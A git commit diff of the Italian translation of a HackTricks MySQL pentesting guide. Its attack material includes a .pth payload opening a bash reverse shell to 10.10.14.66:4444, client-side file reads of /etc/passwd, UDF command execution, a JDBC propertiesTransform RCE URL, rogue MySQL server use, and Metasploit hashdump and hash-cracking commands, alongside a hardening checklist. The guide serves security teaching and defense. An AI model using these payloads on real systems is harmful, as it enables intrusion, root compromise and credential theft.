mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to it
This commit is contained in:
parent
a17c30854c
commit
a54acd39dc
@ -113,11 +113,11 @@ Puoi vedere nella documentazione il significato di ciascun privilegio: [https://
|
|||||||
|
|
||||||
Abusando del classico `INTO OUTFILE` è possibile ottenere *l'esecuzione di codice arbitrario* su obiettivi che successivamente eseguono script **Python**.
|
Abusando del classico `INTO OUTFILE` è possibile ottenere *l'esecuzione di codice arbitrario* su obiettivi che successivamente eseguono script **Python**.
|
||||||
|
|
||||||
1. Usa `INTO OUTFILE` per creare un file personalizzato **`.pth`** all'interno di qualsiasi directory caricata automaticamente da `site.py` (ad esempio `.../lib/python3.10/site-packages/`).
|
1. Usa `INTO OUTFILE` per creare un file personalizzato **`.pth`** all'interno di qualsiasi directory caricata automaticamente da `site.py` (ad es. `.../lib/python3.10/site-packages/`).
|
||||||
2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete viene avviato.
|
2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete si avvia.
|
||||||
3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), il payload viene eseguito con gli stessi privilegi del processo del server web (FortiWeb lo ha eseguito come **root** → RCE completa pre-autenticazione).
|
3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), il payload viene eseguito con gli stessi privilegi del processo del server web (FortiWeb lo ha eseguito come **root** → RCE completo pre-autenticazione).
|
||||||
|
|
||||||
Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario l'uso di hex/`UNHEX()` o concatenazione di stringhe):
|
Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario hex/`UNHEX()` o concatenazione di stringhe):
|
||||||
```python
|
```python
|
||||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||||
```
|
```
|
||||||
@ -129,7 +129,7 @@ Limitazioni importanti e bypass:
|
|||||||
|
|
||||||
* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome file.
|
* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome file.
|
||||||
* Il percorso del file è risolto **rispetto alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti.
|
* Il percorso del file è risolto **rispetto alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti.
|
||||||
* Se l'input dell'attaccante viene estratto con `%128s` (o simile) qualsiasi spazio troncherà il payload; utilizzare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi.
|
* Se l'input dell'attaccante è estratto con `%128s` (o simile) qualsiasi spazio tronccherà il payload; utilizzare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi.
|
||||||
* L'utente MySQL che esegue la query ha bisogno del privilegio `FILE`, ma in molti dispositivi (ad es. FortiWeb) il servizio viene eseguito come **root**, dando accesso in scrittura quasi ovunque.
|
* L'utente MySQL che esegue la query ha bisogno del privilegio `FILE`, ma in molti dispositivi (ad es. FortiWeb) il servizio viene eseguito come **root**, dando accesso in scrittura quasi ovunque.
|
||||||
|
|
||||||
Dopo aver eliminato il `.pth`, basta richiedere qualsiasi CGI gestito dall'interprete python per ottenere l'esecuzione del codice:
|
Dopo aver eliminato il `.pth`, basta richiedere qualsiasi CGI gestito dall'interprete python per ottenere l'esecuzione del codice:
|
||||||
@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
|
|||||||
|
|
||||||
## MySQL lettura arbitraria di file da parte del client
|
## MySQL lettura arbitraria di file da parte del client
|
||||||
|
|
||||||
In realtà, quando provi a **caricare dati localmente in una tabella** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manomettere un client mysql per connetterti al tuo server MySQL, puoi leggere file arbitrari.**\
|
In realtà, quando provi a **caricare dati localmente in una tabella** il **contenuto di un file** il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manomettere un client mysql per connetterti al tuo server MySQL, puoi leggere file arbitrari.**\
|
||||||
Si prega di notare che questo è il comportamento utilizzando:
|
Si prega di notare che questo è il comportamento utilizzando:
|
||||||
```bash
|
```bash
|
||||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||||
@ -172,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
|||||||
|
|
||||||
### Utente Mysql
|
### Utente Mysql
|
||||||
|
|
||||||
Sarà molto interessante se mysql è in esecuzione come **root**:
|
Sarà molto interessante se mysql sta girando come **root**:
|
||||||
```bash
|
```bash
|
||||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||||
@ -210,7 +210,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
|||||||
|
|
||||||
Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori), puoi farlo eseguire comandi. Per questo, devi utilizzare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo che esegue mysql.
|
Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori), puoi farlo eseguire comandi. Per questo, devi utilizzare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo che esegue mysql.
|
||||||
|
|
||||||
La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e all'interno di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli di **Windows**, scegli quello di cui hai bisogno.
|
La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e dentro metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli per **Windows**, scegli quello di cui hai bisogno.
|
||||||
|
|
||||||
Se **non hai** quelle librerie, puoi **cercarle**, oppure scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**:
|
Se **non hai** quelle librerie, puoi **cercarle**, oppure scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**:
|
||||||
```bash
|
```bash
|
||||||
@ -615,7 +615,7 @@ x$waits_global_by_latency
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
## HackTricks Comandi Automatici
|
## Comandi automatici HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
Protocol_Name: MySql #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 3306 #Comma separated if there is more than one.
|
Port_Number: 3306 #Comma separated if there is more than one.
|
||||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||||
|
|
||||||
```
|
```
|
||||||
|
## 2023-2025 Highlights (new)
|
||||||
|
|
||||||
|
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||||
|
A partire da Connector/J <= 8.0.32, un attaccante che può influenzare il **JDBC URL** (ad esempio in software di terze parti che richiede una stringa di connessione) può richiedere il caricamento di classi arbitrarie sul lato *client* tramite il parametro `propertiesTransform`. Se un gadget presente nel class-path è caricabile, questo porta a **esecuzione di codice remoto nel contesto del client JDBC** (pre-autenticazione, poiché non sono necessarie credenziali valide). Un PoC minimo appare così:
|
||||||
|
```java
|
||||||
|
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||||
|
```
|
||||||
|
Eseguire `Evil.class` può essere facile come produrlo nel class-path dell'applicazione vulnerabile o lasciare che un server MySQL malintenzionato invii un oggetto serializzato malevolo. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` su una lista di autorizzazione.
|
||||||
|
(Vedi il write-up di Snyk per i dettagli)
|
||||||
|
|
||||||
|
### Attacchi di server MySQL malintenzionati / falsi contro i client JDBC
|
||||||
|
Diversi strumenti open-source implementano un protocollo MySQL *parziale* per attaccare i client JDBC che si connettono verso l'esterno:
|
||||||
|
|
||||||
|
* **mysql-fake-server** (Java, supporta exploit di lettura file e deserializzazione)
|
||||||
|
* **rogue_mysql_server** (Python, capacità simili)
|
||||||
|
|
||||||
|
Percorsi di attacco tipici:
|
||||||
|
|
||||||
|
1. L'applicazione vittima carica `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`.
|
||||||
|
2. L'attaccante controlla DNS / voce host in modo che il nome host del DB si risolva in una macchina sotto il suo controllo.
|
||||||
|
3. Il server malevolo risponde con pacchetti creati ad hoc che attivano la lettura di file arbitrari `LOCAL INFILE` o la deserializzazione Java → RCE.
|
||||||
|
|
||||||
|
Esempio di one-liner per avviare un server falso (Java):
|
||||||
|
```bash
|
||||||
|
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||||
|
```
|
||||||
|
Poi punta l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
|
||||||
|
|
||||||
|
### Cracking `caching_sha2_password` hashes
|
||||||
|
MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (modalità **21100**) che John-the-Ripper (`--format=mysql-sha2`) supportano il cracking offline dal 2023. Dumpa la colonna `authentication_string` e alimentala direttamente:
|
||||||
|
```bash
|
||||||
|
# extract hashes
|
||||||
|
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||||
|
# Hashcat
|
||||||
|
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||||
|
# John the Ripper
|
||||||
|
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||||
|
```
|
||||||
|
### Lista di controllo per il rafforzamento (2025)
|
||||||
|
• Imposta **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per eliminare la maggior parte delle primitive di lettura/scrittura file.
|
||||||
|
• Rimuovi il privilegio **`FILE`** dagli account delle applicazioni.
|
||||||
|
• Su Connector/J imposta `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vuoto).
|
||||||
|
• Disabilita i plugin di autenticazione non utilizzati e **richiedi TLS** (`require_secure_transport = ON`).
|
||||||
|
• Monitora per `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvisi comandi `SET GLOBAL`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||||
|
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||||
|
|
||||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user